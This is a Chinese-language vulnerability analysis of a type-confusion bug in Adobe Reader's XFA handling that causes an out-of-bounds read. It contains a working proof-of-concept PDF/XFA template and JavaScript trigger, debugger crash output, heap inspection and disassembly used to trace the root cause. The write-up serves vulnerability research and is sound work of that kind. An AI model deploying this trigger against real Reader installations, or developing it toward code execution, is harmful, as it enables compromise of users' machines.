0x00 : 漏洞信息 XFA 类型混淆导致OOB的漏洞。
0x01 : PoC 利用脚本把XFA和JS从PDF里拆分出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 <xdp:xdp xmlns:xdp ='http://ns.adobe.com/xdp/' > <config xmlns:xfa ='http://www.xfa.org/schema/xci/3.1/' > <present > <pdf > <interactive > 1 </interactive > <scriptModel > XFA </scriptModel > <encryption > <permissions > </permissions > </encryption > </pdf > </present > <acrobat > <acrobat7 > <dynamicRender > required </dynamicRender > </acrobat7 > </acrobat > </config > <template > <subform layout ='tb' name ='outerform' > <pageSet > <pageArea id ='Page2' name ='Page2' > <contentArea h ='100mm' w ='200mm' x ='0.25in' y ='0.25in' /> <medium long ='297mm' short ='210mm' stock ='a4' /> </pageArea > </pageSet > <subform name ="sub1" > </subform > <subform name ="sub2" > <calculate > <script contentType ="application/x-javascript" > app.alert("crash...!" ); </script > </calculate > </subform > </subform > </template > <xfa:datasets xmlns:xfa ='http://www.xfa.org/schema/xfa-data/1.0/' /> </xdp:xdp >
js代码如下
1 2 3 4 5 o = xfa.resolveNode("xfa[0].template[0].outerform[0].sub1[0]" ); o2 = xfa.resolveNode("xfa[0].form[0].outerform[0].sub2[0]" ); o.nodes.append(o2); o2.presence = "inactive" ; app.alert("no crash!" );
PoC
很好懂,就是把o2节点添加为o的子节点,然后访问o2的presence
属性,并且赋值,就是访问一次这个属性。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 (c74.700): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000001 ebx=00000000 ecx=42f2eec0 edx=0013d164 esi=00000000 edi=42f2eec0 eip=5c067d77 esp=0013cfd8 ebp=0013d034 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210246 AcroForm!PlugInMain+0x979d7: 5c067d77 39b7d0010000 cmp dword ptr [edi+1D0h],esi ds:0023:42f2f090=???????? 0:000> k10 ChildEBP RetAddr WARNING: Stack unwind information not available. Following frames may be wrong. 0013d034 5c05dd14 AcroForm!PlugInMain+0x979d7 0013d0d0 5c01cc57 AcroForm!PlugInMain+0x8d974 0013d118 5c4dcc55 AcroForm!PlugInMain+0x4c8b7 0013d130 5c05daa4 AcroForm!DllUnregisterServer+0x3367ac 0013d174 5c05d731 AcroForm!PlugInMain+0x8d704 0013d1e8 6e4e90b2 AcroForm!PlugInMain+0x8d391 0013d1ec 770665f4 verifier!VerifierDisableFaultInjectionExclusionRange+0x3162 0013d1f0 7702a0aa ntdll!RtlpNtMakeTemporaryKey+0x48b5 0013d1f4 76ff65a6 ntdll!EtwSetMark+0xe743 0013d1f8 7556c3d4 ntdll!wcsnicmp+0xcaa 0013d1fc 6b09ecfa kernel32!HeapFree+0x14 0013d204 5c32f87d MSVCR120!free+0x1a 00000000 00000000 AcroForm!DllUnregisterServer+0x1893d4 0:000> dd edi 42f2eec0 5c78061c 00000002 42c64fe8 5c88d328 42f2eed0 00000147 c0c0c0c0 c0c0c0d0 43884fe0 42f2eee0 43404e40 00000000 43832fb0 c0c0c0c2 42f2eef0 42f2eec0 2ff76fd8 00000000 00000000 42f2ef00 2be4cf30 00000015 00000000 5c88f9b4 42f2ef10 5c88d328 43404e40 00000000 00000000 42f2ef20 00000000 00000000 00000004 5c640954 42f2ef30 00000000 5c640954 00000000 42e8afd0 0:000> dd edi+1d0 42f2f090 ???????? ???????? ???????? ???????? 42f2f0a0 ???????? ???????? ???????? ???????? 42f2f0b0 ???????? ???????? ???????? ???????? 42f2f0c0 ???????? ???????? ???????? ???????? 42f2f0d0 ???????? ???????? ???????? ???????? 42f2f0e0 ???????? ???????? ???????? ???????? 42f2f0f0 ???????? ???????? ???????? ???????? 42f2f100 ???????? ???????? ???????? ???????? 0:000> !heap -p -a edi address 42f2eec0 found in _DPH_HEAP_ROOT @ 1471000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) 431b130c: 42f2eec0 140 - 42f2e000 2000 ? AcroForm!DllUnregisterServer+5da173 6e4e8e89 verifier!VerifierDisableFaultInjectionExclusionRange+0x00002f39 77065e26 ntdll!RtlpNtMakeTemporaryKey+0x000040e7 7702a376 ntdll!EtwSetMark+0x0000ea0f 76ff5ae0 ntdll!wcsnicmp+0x000001e4 6b09ed63 MSVCR120!malloc+0x00000033 5bfd70ed AcroForm!PlugInMain+0x00006d4d 5c009e2d AcroForm!PlugInMain+0x00039a8d
这是一个越界读。
0x02 : 分析 首先根据callstack,定位一下漏洞点以及发生oob的对象是啥。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 0:000> k10 ChildEBP RetAddr 0013d034 5c05dd14 XFAFormModelImpl__isActivityExcluded 0013d0d0 5c01cc57 AcroForm!PlugInMain+0x8d974 0013d118 5c4dcc55 AcroForm!PlugInMain+0x4c8b7 0013d130 5c05daa4 AcroForm!DllUnregisterServer+0x3367ac 0013d174 5c05d731 sub_208FD8D5 0013d1e8 6e4e90b2 sub_208FD3BA 0013d1ec 770665f4 verifier!VerifierDisableFaultInjectionExclusionRange+0x3162 0013d1f0 7702a0aa ntdll!RtlpNtMakeTemporaryKey+0x48b5 0013d1f4 76ff65a6 ntdll!EtwSetMark+0xe743 0013d1f8 7556c3d4 ntdll!wcsnicmp+0xcaa 0013d1fc 6b09ecfa kernel32!HeapFree+0x14 0013d204 5c32f87d MSVCR120!free+0x1a 00000000 00000000 sub_20BCF7CC // free wrp
发生崩溃的函数是在XFAFormModelImpl__isActivityExcluded
,这是在操作xfa.form
对象,但是却发生了越界。 调试发现,此时访问的对象并不是xfa.form
对象,而是一个大小为0x140的对象,看下这个对象的分配情况,可以确定这个对象的大小、类型信息。 得到这段代码的方法是:首先heap命令得到当前对象的基本情况,找到分配的位置,一般来说c++对象分配是先走malloc之类的分配器(程序可能自己封装malloc)分配内存(对象大小),然后初始化虚表啥的,所以malloc调用往前找一个就找到了。
1 2 3 4 5 6 7 8 9 ; __unwind { // loc_20E3F4E2 push 8 mov eax, offset loc_20E3F4E2 call __EH_prolog3 mov edi, ecx push 140h ; size_t 对象大小 call jfCacheManager_alloc mov edx, eax pop ecx
交叉引用得到这个对象是一个xfa.template
对象,以下是两个对象的情况:
xfa.template
对象大小 0x140
xfa.form
对象大小 0x270
所以这是一个类型混淆漏洞,程序错误的把xfa.template
对象当作xfa.form
对象来读取数据,导致越界的发生,root cause
是类型混淆。
0x03 : 引用 using-type-confusion-to-get-code-execution-in-adobe-reader